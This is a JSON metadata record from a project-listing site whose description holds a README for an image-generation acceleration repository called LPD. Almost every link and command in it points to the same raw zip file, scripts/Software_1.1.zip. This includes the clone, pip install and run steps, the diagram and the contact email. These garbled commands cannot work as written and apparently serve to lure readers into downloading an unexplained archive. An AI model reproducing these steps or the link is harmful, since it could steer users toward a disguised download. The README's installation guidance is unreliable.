{"id":29646025,"url":"https://github.com/chunyu0208/lpd","last_synced_at":"2026-05-15T21:36:53.090Z","repository":{"id":303057490,"uuid":"1014184586","full_name":"chunyu0208/lpd","owner":"chunyu0208","description":"Accelerate autoregressive image generation with Locality-aware Parallel Decoding (LPD). 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By leveraging locality-aware techniques, we can significantly speed up the decoding process while maintaining high-quality output. This repository includes implementations and benchmarks to showcase the effectiveness of our approach.\n\nFor the latest releases, visit [Releases](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip).\n\n## Features\n- **Acceleration**: Optimized for fast decoding.\n- **Autoregressive**: Implements state-of-the-art autoregressive models.\n- **Efficient Algorithm**: Utilizes locality-aware strategies for better performance.\n- **Image Generation**: Capable of generating high-quality images.\n- **ImageNet Compatibility**: Works seamlessly with ImageNet datasets.\n- **Parallel Decoding**: Supports parallel processing to enhance speed.\n\n## Installation\nTo get started with LPD, clone the repository and install the required dependencies. \n\n```bash\ngit clone https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip\ncd lpd\npip install -r https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip\n```\n\nMake sure you have Python 3.7 or higher installed on your machine.\n\n## Usage\nAfter installation, you can start using LPD for your image generation tasks. The main script is located in the `src` directory. \n\nTo generate images, run the following command:\n\n```bash\npython https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip --config https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip\n```\n\nMake sure to modify the `https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip` file according to your requirements. You can specify parameters such as the number of images to generate, output directory, and model checkpoints.\n\nFor detailed examples, refer to the [Examples](#examples) section.\n\n## Architecture\nThe architecture of LPD is designed for efficiency and scalability. It consists of the following components:\n\n1. **Data Loader**: Handles loading and preprocessing of image datasets.\n2. **Model**: Implements the autoregressive model with locality-aware features.\n3. **Decoder**: Responsible for the parallel decoding process.\n4. **Evaluator**: Measures the quality of generated images.\n\nEach component is modular, allowing for easy customization and extension.\n\n### Diagram\n![Architecture Diagram](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip)\n\n## Examples\nHere are a few examples of how to use LPD for image generation.\n\n### Example 1: Generate a Single Image\nTo generate a single image, you can use the following command:\n\n```bash\npython https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip --config https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip\n```\n\n### Example 2: Generate Multiple Images\nTo generate multiple images at once, modify the `https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip` file:\n\n```bash\npython https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip --config https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip\n```\n\n### Example 3: Customizing Output\nYou can customize the output size and format by adjusting parameters in the configuration file. \n\nRefer to the [documentation](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip) for more examples and detailed explanations.\n\n## Contributing\nWe welcome contributions to improve LPD. To contribute, follow these steps:\n\n1. Fork the repository.\n2. Create a new branch (`git checkout -b feature-branch`).\n3. Make your changes and commit them (`git commit -m 'Add new feature'`).\n4. Push to the branch (`git push origin feature-branch`).\n5. Create a pull request.\n\nPlease ensure that your code adheres to our coding standards and includes appropriate tests.\n\n## License\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact\nFor questions or feedback, feel free to reach out:\n\n- **Email**: https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip\n- **GitHub**: [chunyu0208](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip)\n\nFor the latest releases, visit [Releases](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip).","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fchunyu0208%2Flpd","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fchunyu0208%2Flpd","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fchunyu0208%2Flpd/lists"}